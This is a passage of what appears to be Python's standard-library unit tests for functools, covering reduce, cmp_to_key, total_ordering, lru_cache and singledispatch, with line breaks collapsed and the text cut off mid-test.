self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertEqual(wrapper.attr, 'This is a different test') self.assertEqual(wrapper.dict_attr, f.dict_attr) @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestReduce(unittest.TestCase): if c_functools: func = c_functools.reduce def test_reduce(self): class Squares: def __init__(self, max): self.max = max self.sofar = [] def __len__(self): return len(self.sofar) def __getitem__(self, i): if not 0 <= i < self.max: raise IndexError n = len(self.sofar) while n <= i: self.sofar.append(n*n) n += 1 return self.sofar[i] def add(x, y): return x + y self.assertEqual(self.func(add, ['a', 'b', 'c'], ''), 'abc') self.assertEqual( self.func(add, [['a', 'c'], [], ['d', 'w']], []), ['a','c','d','w'] ) self.assertEqual(self.func(lambda x, y: x*y, range(2,8), 1), 5040) self.assertEqual( self.func(lambda x, y: x*y, range(2,21), 1), 2432902008176640000 ) self.assertEqual(self.func(add, Squares(10)), 285) self.assertEqual(self.func(add, Squares(10), 0), 285) self.assertEqual(self.func(add, Squares(0), 0), 0) self.assertRaises(TypeError, self.func) self.assertRaises(TypeError, self.func, 42, 42) self.assertRaises(TypeError, self.func, 42, 42, 42) self.assertEqual(self.func(42, "1"), "1") # func is never called with one item self.assertEqual(self.func(42, "", "1"), "1") # func is never called with one item self.assertRaises(TypeError, self.func, 42, (42, 42)) self.assertRaises(TypeError, self.func, add, []) # arg 2 must not be empty sequence with no initial value self.assertRaises(TypeError, self.func, add, "") self.assertRaises(TypeError, self.func, add, ()) self.assertRaises(TypeError, self.func, add, object()) class TestFailingIter: def __iter__(self): raise RuntimeError self.assertRaises(RuntimeError, self.func, add, TestFailingIter()) self.assertEqual(self.func(add, [], None), None) self.assertEqual(self.func(add, [], 42), 42) class BadSeq: def __getitem__(self, index): raise ValueError self.assertRaises(ValueError, self.func, 42, BadSeq()) # Test reduce()'s use of iterators. def test_iterator_usage(self): class SequenceClass: def __init__(self, n): self.n = n def __getitem__(self, i): if 0 <= i < self.n: return i else: raise IndexError from operator import add self.assertEqual(self.func(add, SequenceClass(5)), 10) self.assertEqual(self.func(add, SequenceClass(5), 42), 52) self.assertRaises(TypeError, self.func, add, SequenceClass(0)) self.assertEqual(self.func(add, SequenceClass(0), 42), 42) self.assertEqual(self.func(add, SequenceClass(1)), 0) self.assertEqual(self.func(add, SequenceClass(1), 42), 42) d = {"one": 1, "two": 2, "three": 3} self.assertEqual(self.func(add, d), "".join(d.keys())) class TestCmpToKey: def test_cmp_to_key(self): def cmp1(x, y): return (x > y) - (x < y) key = self.cmp_to_key(cmp1) self.assertEqual(key(3), key(3)) self.assertGreater(key(3), key(1)) self.assertGreaterEqual(key(3), key(3)) def cmp2(x, y): return int(x) - int(y) key = self.cmp_to_key(cmp2) self.assertEqual(key(4.0), key('4')) self.assertLess(key(2), key('35')) self.assertLessEqual(key(2), key('35')) self.assertNotEqual(key(2), key('35')) def test_cmp_to_key_arguments(self): def cmp1(x, y): return (x > y) - (x < y) key = self.cmp_to_key(mycmp=cmp1) self.assertEqual(key(obj=3), key(obj=3)) self.assertGreater(key(obj=3), key(obj=1)) with self.assertRaises((TypeError, AttributeError)): key(3) > 1 # rhs is not a K object with self.assertRaises((TypeError, AttributeError)): 1 < key(3) # lhs is not a K object with self.assertRaises(TypeError): key = self.cmp_to_key() # too few args with self.assertRaises(TypeError): key = self.cmp_to_key(cmp1, None) # too many args key = self.cmp_to_key(cmp1) with self.assertRaises(TypeError): key() # too few args with self.assertRaises(TypeError): key(None, None) # too many args def test_bad_cmp(self): def cmp1(x, y): raise ZeroDivisionError key = self.cmp_to_key(cmp1) with self.assertRaises(ZeroDivisionError): key(3) > key(1) class BadCmp: def __lt__(self, other): raise ZeroDivisionError def cmp1(x, y): return BadCmp() with self.assertRaises(ZeroDivisionError): key(3) > key(1) def test_obj_field(self): def cmp1(x, y): return (x > y) - (x < y) key = self.cmp_to_key(mycmp=cmp1) self.assertEqual(key(50).obj, 50) def test_sort_int(self): def mycmp(x, y): return y - x self.assertEqual(sorted(range(5), key=self.cmp_to_key(mycmp)), [4, 3, 2, 1, 0]) def test_sort_int_str(self): def mycmp(x, y): x, y = int(x), int(y) return (x > y) - (x < y) values = [5, '3', 7, 2, '0', '1', 4, '10', 1] values = sorted(values, key=self.cmp_to_key(mycmp)) self.assertEqual([int(value) for value in values], [0, 1, 1, 2, 3, 4, 5, 7, 10]) def test_hash(self): def mycmp(x, y): return y - x key = self.cmp_to_key(mycmp) k = key(10) self.assertRaises(TypeError, hash, k) self.assertNotIsInstance(k, collections.Hashable) @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestCmpToKeyC(TestCmpToKey, unittest.TestCase): if c_functools: cmp_to_key = c_functools.cmp_to_key class TestCmpToKeyPy(TestCmpToKey, unittest.TestCase): cmp_to_key = staticmethod(py_functools.cmp_to_key) class TestTotalOrdering(unittest.TestCase): def test_total_ordering_lt(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __lt__(self, other): return self.value < other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(1) > A(2)) def test_total_ordering_le(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __le__(self, other): return self.value <= other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(1) >= A(2)) def test_total_ordering_gt(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __gt__(self, other): return self.value > other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(2) < A(1)) def test_total_ordering_ge(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __ge__(self, other): return self.value >= other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(2) <= A(1)) def test_total_ordering_no_overwrite(self): # new methods should not overwrite existing @functools.total_ordering class A(int): pass self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) def test_no_operations_defined(self): with self.assertRaises(ValueError): @functools.total_ordering class A: pass def test_type_error_when_not_implemented(self): # bug 10042; ensure stack overflow does not occur # when decorated types return NotImplemented @functools.total_ordering class ImplementsLessThan: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsLessThan): return self.value == other.value return False def __lt__(self, other): if isinstance(other, ImplementsLessThan): return self.value < other.value return NotImplemented @functools.total_ordering class ImplementsGreaterThan: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsGreaterThan): return self.value == other.value return False def __gt__(self, other): if isinstance(other, ImplementsGreaterThan): return self.value > other.value return NotImplemented @functools.total_ordering class ImplementsLessThanEqualTo: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsLessThanEqualTo): return self.value == other.value return False def __le__(self, other): if isinstance(other, ImplementsLessThanEqualTo): return self.value <= other.value return NotImplemented @functools.total_ordering class ImplementsGreaterThanEqualTo: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsGreaterThanEqualTo): return self.value == other.value return False def __ge__(self, other): if isinstance(other, ImplementsGreaterThanEqualTo): return self.value >= other.value return NotImplemented @functools.total_ordering class ComparatorNotImplemented: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ComparatorNotImplemented): return self.value == other.value return False def __lt__(self, other): return NotImplemented with self.subTest("LT < 1"), self.assertRaises(TypeError): ImplementsLessThan(-1) < 1 with self.subTest("LT < LE"), self.assertRaises(TypeError): ImplementsLessThan(0) < ImplementsLessThanEqualTo(0) with self.subTest("LT < GT"), self.assertRaises(TypeError): ImplementsLessThan(1) < ImplementsGreaterThan(1) with self.subTest("LE <= LT"), self.assertRaises(TypeError): ImplementsLessThanEqualTo(2) <= ImplementsLessThan(2) with self.subTest("LE <= GE"), self.assertRaises(TypeError): ImplementsLessThanEqualTo(3) <= ImplementsGreaterThanEqualTo(3) with self.subTest("GT > GE"), self.assertRaises(TypeError): ImplementsGreaterThan(4) > ImplementsGreaterThanEqualTo(4) with self.subTest("GT > LT"), self.assertRaises(TypeError): ImplementsGreaterThan(5) > ImplementsLessThan(5) with self.subTest("GE >= GT"), self.assertRaises(TypeError): ImplementsGreaterThanEqualTo(6) >= ImplementsGreaterThan(6) with self.subTest("GE >= LE"), self.assertRaises(TypeError): ImplementsGreaterThanEqualTo(7) >= ImplementsLessThanEqualTo(7) with self.subTest("GE when equal"): a = ComparatorNotImplemented(8) b = ComparatorNotImplemented(8) self.assertEqual(a, b) with self.assertRaises(TypeError): a >= b with self.subTest("LE when equal"): a = ComparatorNotImplemented(9) b = ComparatorNotImplemented(9) self.assertEqual(a, b) with self.assertRaises(TypeError): a <= b def test_pickle(self): for proto in range(pickle.HIGHEST_PROTOCOL + 1): for name in '__lt__', '__gt__', '__le__', '__ge__': with self.subTest(method=name, proto=proto): method = getattr(Orderable_LT, name) method_copy = pickle.loads(pickle.dumps(method, proto)) self.assertIs(method_copy, method) @functools.total_ordering class Orderable_LT: def __init__(self, value): self.value = value def __lt__(self, other): return self.value < other.value def __eq__(self, other): return self.value == other.value class TestLRU: def test_lru(self): def orig(x, y): return 3 * x + y f = self.module.lru_cache(maxsize=20)(orig) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(maxsize, 20) self.assertEqual(currsize, 0) self.assertEqual(hits, 0) self.assertEqual(misses, 0) domain = range(5) for i in range(1000): x, y = choice(domain), choice(domain) actual = f(x, y) expected = orig(x, y) self.assertEqual(actual, expected) hits, misses, maxsize, currsize = f.cache_info() self.assertTrue(hits > misses) self.assertEqual(hits + misses, 1000) self.assertEqual(currsize, 20) f.cache_clear() # test clearing hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 0) self.assertEqual(currsize, 0) f(x, y) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 1) self.assertEqual(currsize, 1) # Test bypassing the cache self.assertIs(f.__wrapped__, orig) f.__wrapped__(x, y) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 1) self.assertEqual(currsize, 1) # test size zero (which means "never-cache") @self.module.lru_cache(0) def f(): nonlocal f_cnt f_cnt += 1 return 20 self.assertEqual(f.cache_info().maxsize, 0) f_cnt = 0 for i in range(5): self.assertEqual(f(), 20) self.assertEqual(f_cnt, 5) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 5) self.assertEqual(currsize, 0) # test size one @self.module.lru_cache(1) def f(): nonlocal f_cnt f_cnt += 1 return 20 self.assertEqual(f.cache_info().maxsize, 1) f_cnt = 0 for i in range(5): self.assertEqual(f(), 20) self.assertEqual(f_cnt, 1) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 4) self.assertEqual(misses, 1) self.assertEqual(currsize, 1) # test size two @self.module.lru_cache(2) def f(x): nonlocal f_cnt f_cnt += 1 return x*10 self.assertEqual(f.cache_info().maxsize, 2) f_cnt = 0 for x in 7, 9, 7, 9, 7, 9, 8, 8, 8, 9, 9, 9, 8, 8, 8, 7: # * * * * self.assertEqual(f(x), x*10) self.assertEqual(f_cnt, 4) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 12) self.assertEqual(misses, 4) self.assertEqual(currsize, 2) def test_lru_type_error(self): # Regression test for issue #28653. # lru_cache was leaking when one of the arguments # wasn't cacheable. @functools.lru_cache(maxsize=None) def infinite_cache(o): pass @functools.lru_cache(maxsize=10) def limited_cache(o): pass with self.assertRaises(TypeError): infinite_cache([]) with self.assertRaises(TypeError): limited_cache([]) def test_lru_with_maxsize_none(self): @self.module.lru_cache(maxsize=None) def fib(n): if n < 2: return n return fib(n-1) + fib(n-2) self.assertEqual([fib(n) for n in range(16)], [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610]) self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=28, misses=16, maxsize=None, currsize=16)) fib.cache_clear() self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=0, misses=0, maxsize=None, currsize=0)) def test_lru_with_maxsize_negative(self): @self.module.lru_cache(maxsize=-10) def eq(n): return n for i in (0, 1): self.assertEqual([eq(n) for n in range(150)], list(range(150))) self.assertEqual(eq.cache_info(), self.module._CacheInfo(hits=0, misses=300, maxsize=-10, currsize=1)) def test_lru_with_exceptions(self): # Verify that user_function exceptions get passed through without # creating a hard-to-read chained exception. # http://bugs.python.org/issue13177 for maxsize in (None, 128): @self.module.lru_cache(maxsize) def func(i): return 'abc'[i] self.assertEqual(func(0), 'a') with self.assertRaises(IndexError) as cm: func(15) self.assertIsNone(cm.exception.__context__) # Verify that the previous exception did not result in a cached entry with self.assertRaises(IndexError): func(15) def test_lru_with_types(self): for maxsize in (None, 128): @self.module.lru_cache(maxsize=maxsize, typed=True) def square(x): return x * x self.assertEqual(square(3), 9) self.assertEqual(type(square(3)), type(9)) self.assertEqual(square(3.0), 9.0) self.assertEqual(type(square(3.0)), type(9.0)) self.assertEqual(square(x=3), 9) self.assertEqual(type(square(x=3)), type(9)) self.assertEqual(square(x=3.0), 9.0) self.assertEqual(type(square(x=3.0)), type(9.0)) self.assertEqual(square.cache_info().hits, 4) self.assertEqual(square.cache_info().misses, 4) def test_lru_with_keyword_args(self): @self.module.lru_cache() def fib(n): if n < 2: return n return fib(n=n-1) + fib(n=n-2) self.assertEqual( [fib(n=number) for number in range(16)], [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610] ) self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=28, misses=16, maxsize=128, currsize=16)) fib.cache_clear() self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=0, misses=0, maxsize=128, currsize=0)) def test_lru_with_keyword_args_maxsize_none(self): @self.module.lru_cache(maxsize=None) def fib(n): if n < 2: return n return fib(n=n-1) + fib(n=n-2) self.assertEqual([fib(n=number) for number in range(16)], [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610]) self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=28, misses=16, maxsize=None, currsize=16)) fib.cache_clear() self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=0, misses=0, maxsize=None, currsize=0)) def test_lru_cache_decoration(self): def f(zomg: 'zomg_annotation'): """f doc string""" return 42 g = self.module.lru_cache()(f) for attr in self.module.WRAPPER_ASSIGNMENTS: self.assertEqual(getattr(g, attr), getattr(f, attr)) @unittest.skipUnless(threading, 'This test requires threading.') def test_lru_cache_threaded(self): n, m = 5, 11 def orig(x, y): return 3 * x + y f = self.module.lru_cache(maxsize=n*m)(orig) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(currsize, 0) start = threading.Event() def full(k): start.wait(10) for _ in range(m): self.assertEqual(f(k, 0), orig(k, 0)) def clear(): start.wait(10) for _ in range(2*m): f.cache_clear() orig_si = sys.getswitchinterval() sys.setswitchinterval(1e-6) try: # create n threads in order to fill cache threads = [threading.Thread(target=full, args=[k]) for k in range(n)] with support.start_threads(threads): start.set() hits, misses, maxsize, currsize = f.cache_info() if self.module is py_functools: # XXX: Why can be not equal? self.assertLessEqual(misses, n) self.assertLessEqual(hits, m*n - misses) else: self.assertEqual(misses, n) self.assertEqual(hits, m*n - misses) self.assertEqual(currsize, n) # create n threads in order to fill cache and 1 to clear it threads = [threading.Thread(target=clear)] threads += [threading.Thread(target=full, args=[k]) for k in range(n)] start.clear() with support.start_threads(threads): start.set() finally: sys.setswitchinterval(orig_si) @unittest.skipUnless(threading, 'This test requires threading.') def test_lru_cache_threaded2(self): # Simultaneous call with the same arguments n, m = 5, 7 start = threading.Barrier(n+1) pause = threading.Barrier(n+1) stop = threading.Barrier(n+1) @self.module.lru_cache(maxsize=m*n) def f(x): pause.wait(10) return 3 * x self.assertEqual(f.cache_info(), (0, 0, m*n, 0)) def test(): for i in range(m): start.wait(10) self.assertEqual(f(i), 3 * i) stop.wait(10) threads = [threading.Thread(target=test) for k in range(n)] with support.start_threads(threads): for i in range(m): start.wait(10) stop.reset() pause.wait(10) start.reset() stop.wait(10) pause.reset() self.assertEqual(f.cache_info(), (0, (i+1)*n, m*n, i+1)) def test_need_for_rlock(self): # This will deadlock on an LRU cache that uses a regular lock @self.module.lru_cache(maxsize=10) def test_func(x): 'Used to demonstrate a reentrant lru_cache call within a single thread' return x class DoubleEq: 'Demonstrate a reentrant lru_cache call within a single thread' def __init__(self, x): self.x = x def __hash__(self): return self.x def __eq__(self, other): if self.x == 2: test_func(DoubleEq(1)) return self.x == other.x test_func(DoubleEq(1)) # Load the cache test_func(DoubleEq(2)) # Load the cache self.assertEqual(test_func(DoubleEq(2)), # Trigger a re-entrant __eq__ call DoubleEq(2)) # Verify the correct return value def test_early_detection_of_bad_call(self): # Issue #22184 with self.assertRaises(TypeError): @functools.lru_cache def f(): pass def test_lru_method(self): class X(int): f_cnt = 0 @self.module.lru_cache(2) def f(self, x): self.f_cnt += 1 return x*10+self a = X(5) b = X(5) c = X(7) self.assertEqual(X.f.cache_info(), (0, 0, 2, 0)) for x in 1, 2, 2, 3, 1, 1, 1, 2, 3, 3: self.assertEqual(a.f(x), x*10 + 5) self.assertEqual((a.f_cnt, b.f_cnt, c.f_cnt), (6, 0, 0)) self.assertEqual(X.f.cache_info(), (4, 6, 2, 2)) for x in 1, 2, 1, 1, 1, 1, 3, 2, 2, 2: self.assertEqual(b.f(x), x*10 + 5) self.assertEqual((a.f_cnt, b.f_cnt, c.f_cnt), (6, 4, 0)) self.assertEqual(X.f.cache_info(), (10, 10, 2, 2)) for x in 2, 1, 1, 1, 1, 2, 1, 3, 2, 1: self.assertEqual(c.f(x), x*10 + 7) self.assertEqual((a.f_cnt, b.f_cnt, c.f_cnt), (6, 4, 5)) self.assertEqual(X.f.cache_info(), (15, 15, 2, 2)) self.assertEqual(a.f.cache_info(), X.f.cache_info()) self.assertEqual(b.f.cache_info(), X.f.cache_info()) self.assertEqual(c.f.cache_info(), X.f.cache_info()) def test_pickle(self): cls = self.__class__ for f in cls.cached_func[0], cls.cached_meth, cls.cached_staticmeth: for proto in range(pickle.HIGHEST_PROTOCOL + 1): with self.subTest(proto=proto, func=f): f_copy = pickle.loads(pickle.dumps(f, proto)) self.assertIs(f_copy, f) def test_copy(self): cls = self.__class__ def orig(x, y): return 3 * x + y part = self.module.partial(orig, 2) funcs = (cls.cached_func[0], cls.cached_meth, cls.cached_staticmeth, self.module.lru_cache(2)(part)) for f in funcs: with self.subTest(func=f): f_copy = copy.copy(f) self.assertIs(f_copy, f) def test_deepcopy(self): cls = self.__class__ def orig(x, y): return 3 * x + y part = self.module.partial(orig, 2) funcs = (cls.cached_func[0], cls.cached_meth, cls.cached_staticmeth, self.module.lru_cache(2)(part)) for f in funcs: with self.subTest(func=f): f_copy = copy.deepcopy(f) self.assertIs(f_copy, f) @py_functools.lru_cache() def py_cached_func(x, y): return 3 * x + y @c_functools.lru_cache() def c_cached_func(x, y): return 3 * x + y class TestLRUPy(TestLRU, unittest.TestCase): module = py_functools cached_func = py_cached_func, @module.lru_cache() def cached_meth(self, x, y): return 3 * x + y @staticmethod @module.lru_cache() def cached_staticmeth(x, y): return 3 * x + y class TestLRUC(TestLRU, unittest.TestCase): module = c_functools cached_func = c_cached_func, @module.lru_cache() def cached_meth(self, x, y): return 3 * x + y @staticmethod @module.lru_cache() def cached_staticmeth(x, y): return 3 * x + y class TestSingleDispatch(unittest.TestCase): def test_simple_overloads(self): @functools.singledispatch def g(obj): return "base" def g_int(i): return "integer" g.register(int, g_int) self.assertEqual(g("str"), "base") self.assertEqual(g(1), "integer") self.assertEqual(g([1,2,3]), "base") def test_mro(self): @functools.singledispatch def g(obj): return "base" class A: pass class C(A): pass class B(A): pass class D(C, B): pass def g_A(a): return "A" def g_B(b): return "B" g.register(A, g_A) g.register(B, g_B) self.assertEqual(g(A()), "A") self.assertEqual(g(B()), "B") self.assertEqual(g(C()), "A") self.assertEqual(g(D()), "B") def test_register_decorator(self): @functools.singledispatch def g(obj): return "base" @g.register(int) def g_int(i): return "int %s" % (i,) self.assertEqual(g(""), "base") self.assertEqual(g(12), "int 12") self.assertIs(g.dispatch(int), g_int) self.assertIs(g.dispatch(object), g.dispatch(str)) # Note: in the assert above this is not g. # @singledispatch returns the wrapper. def test_wrapping_attributes(self): @functools.singledispatch def g(obj): "Simple test" return "Test" self.assertEqual(g.__name__, "g") if sys.flags.optimize < 2: self.assertEqual(g.__doc__, "Simple test") @unittest.skipUnless(decimal, 'requires _decimal') @support.cpython_only def test_c_classes(self): @functools.singledispatch def g(obj): return "base" @g.register(decimal.DecimalException) def _(obj): return obj.args subn = decimal.Subnormal("Exponent < Emin") rnd = decimal.Rounded("Number got rounded") self.assertEqual(g(subn), ("Exponent < Emin",)) self.assertEqual(g(rnd), ("Number got rounded",)) @g.register(decimal.Subnormal) def _(obj): return "Too small to care." self.assertEqual(g(subn), "Too small to care.") self.assertEqual(g(rnd), ("Number got rounded",)) def test_compose_mro(self): # None of the examples in this test depend on haystack ordering. c = collections mro = functools._compose_mro bases = [c.Sequence, c.MutableMapping, c.Mapping, c.Set] for haystack in permutations(bases): m = mro(dict, haystack) self.assertEqual(m, [dict, c.MutableMapping, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) bases = [c.Container, c.Mapping, c.MutableMapping, c.OrderedDict] for haystack in permutations(bases): m = mro(c.ChainMap, haystack) self.assertEqual(m, [c.ChainMap, c.MutableMapping, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) # If there's a generic function with implementations registered for # both Sized and Container, passing a defaultdict to it results in an # ambiguous dispatch which will cause a RuntimeError (see # test_mro_conflicts). bases = [c.Container, c.Sized, str] for haystack in permutations(bases): m = mro(c.defaultdict, [c.Sized, c.Container, str]) self.assertEqual(m, [c.defaultdict, dict, c.Sized, c.Container, object]) # MutableSequence below is registered directly on D. In other words, it # precedes MutableMapping which means single dispatch will always # choose MutableSequence here. class D(c.defaultdict): pass c.MutableSequence.register(D) bases = [c.MutableSequence, c.MutableMapping] for haystack in permutations(bases): m = mro(D, bases) self.assertEqual(m, [D, c.MutableSequence, c.Sequence, c.Reversible, c.defaultdict, dict, c.MutableMapping, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) # Container and Callable are registered on different base classes and # a generic function supporting both should always pick the Callable # implementation if a C instance is passed. class C(c.defaultdict): def __call__(self): pass bases = [c.Sized, c.Callable, c.Container, c.Mapping] for haystack in permutations(bases): m = mro(C, haystack) self.assertEqual(m, [C, c.Callable, c.defaultdict, dict, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) def test_register_abc(self): c = collections d = {"a": "b"} l = [1, 2, 3] s = {object(), None} f = frozenset(s) t = (1, 2, 3) @functools.singledispatch def g(obj): return "base" self.assertEqual(g(d), "base") self.assertEqual(g(l), "base") self.assertEqual(g(s), "base") self.assertEqual(g(f), "base") self.assertEqual(g(t), "base") g.register(c.Sized, lambda obj: "sized") self.assertEqual(g(d), "sized") self.assertEqual(g(l), "sized") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.MutableMapping, lambda obj: "mutablemapping") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "sized") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.ChainMap, lambda obj: "chainmap") self.assertEqual(g(d), "mutablemapping") # irrelevant ABCs registered self.assertEqual(g(l), "sized") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.MutableSequence, lambda obj: "mutablesequence") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.MutableSet, lambda obj: "mutableset") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.Mapping, lambda obj: "mapping") self.assertEqual(g(d), "mutablemapping") # not specific enough self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.Sequence, lambda obj: "sequence") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sequence") g.register(c.Set, lambda obj: "set") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(dict, lambda obj: "dict") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(list, lambda obj: "list") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(set, lambda obj: "concrete-set") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "concrete-set") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(frozenset, lambda obj: "frozen-set") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "concrete-set") self.assertEqual(g(f), "frozen-set") self.assertEqual(g(t), "sequence") g.register(tuple, lambda obj: "tuple") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "concrete-set") self.assertEqual(g(f), "frozen-set") self.assertEqual(g(t), "tuple") def test_c3_abc(self): c = collections mro = functools._c3_mro class A(object): pass class B(A): def __len__(self): return 0 # implies Sized @c.Container.register class C(object): pass class D(object): pass # unrelated class X(D, C, B): def __call__(self): pass # implies Callable expected = [X, c.Callable, D, C, c.Container, B, c.Sized, A, object] for abcs in permutations([c.Sized, c.Callable, c.Container]): self.assertEqual(mro(X, abcs=abcs), expected) # unrelated ABCs don't appear in the resulting MRO many_abcs = [c.Mapping, c.Sized, c.Callable, c.Container, c.Iterable] self.assertEqual(mro(X, abcs=many_abcs), expected) def test_false_meta(self): # see issue23572 class MetaA(type): def __len__(self): return 0 class A(metaclass=MetaA): pass class AA(A): pass @functools.singledispatch def fun(a): return 'base A' @fun.register(A) def _(a): return 'fun A' aa = AA() self.assertEqual(fun(aa), 'fun A') def test_mro_conflicts(self): c = collections @functools.singledispatch def g(arg): return "base" class O(c.Sized): def __len__(self): return 0 o = O() self.assertEqual(g(o), "base") g.register(c.Iterable, lambda arg: "iterable") g.register(c.Container, lambda arg: "container") g.register(c.Sized, lambda arg: "sized") g.register(c.Set, lambda arg: "set") self.assertEqual(g(o), "sized") c.Iterable.register(O) self.assertEqual(g(o), "sized") # because it's explicitly in __mro__ c.Container.register(O) self.assertEqual(g(o), "sized") # see above: Sized is in __mro__ c.Set.register(O) self.assertEqual(g(o), "set") # because c.Set is a subclass of # c.Sized and c.Container class P: pass p = P() self.assertEqual(g(p), "base") c.Iterable.register(P) self.assertEqual(g(p), "iterable") c.Container.register(P) with self.assertRaises(RuntimeError) as re_one: g(p) self.assertIn( str(re_one.exception), (("Ambiguous dispatch: <class 'collections.abc.Container'> " "or <class 'collections.abc.Iterable'>"), ("Ambiguous dispatch: <class 'collections.abc.Iterable'> " "or <class 'collections.abc.Container'>")), ) class Q(c.Sized): def __len__(self): return 0 q = Q() self.assertEqual(g(q), "sized") c.Iterable.register(Q) self.assertEqual(g(q), "sized") # because it's explicitly in __mro__ c.Set.register(Q) self.assertEqual(g(q), "set") # because c.Set is a subclass of # c.Sized and c.Iterable @functools.singledispatch def h(arg): return "base" @h.register(c.Sized) def _(arg): return "sized" @h.register(c.Container) def _(arg): return "container" # Even though Sized and Container are explicit bases of MutableMapping, # this ABC is implicitly registered on defaultdict which makes all of # MutableMapping's bases implicit as well from defaultdict's # perspective. with self.assertRaises(RuntimeError) as re_two: h(c.defaultdict(lambda: 0)) self.assertIn( str(re_two.exception), (("Ambiguous dispatch: <class 'collections.abc.Container'> " "or <class 'collections.abc.Sized'>"), ("Ambiguous dispatch: <class 'collections.abc.Sized'> " "or <class 'collections.abc.Container'>")), ) class R(c.defaultdict): pass c.MutableSequence.register(R) @functools.singledispatch def i(arg): return "base" @i.register(c.MutableMapping) def _(arg): return "mapping" @i.register(c.MutableSequence) def _(arg): return "sequence" r = R() self.assertEqual(i(r), "sequence") class S: pass class T(S, c.Sized): def __len__(self): return 0 t = T() self.assertEqual(h(t), "sized") c.Container.register(T) self.assertEqual(h(t), "sized") # 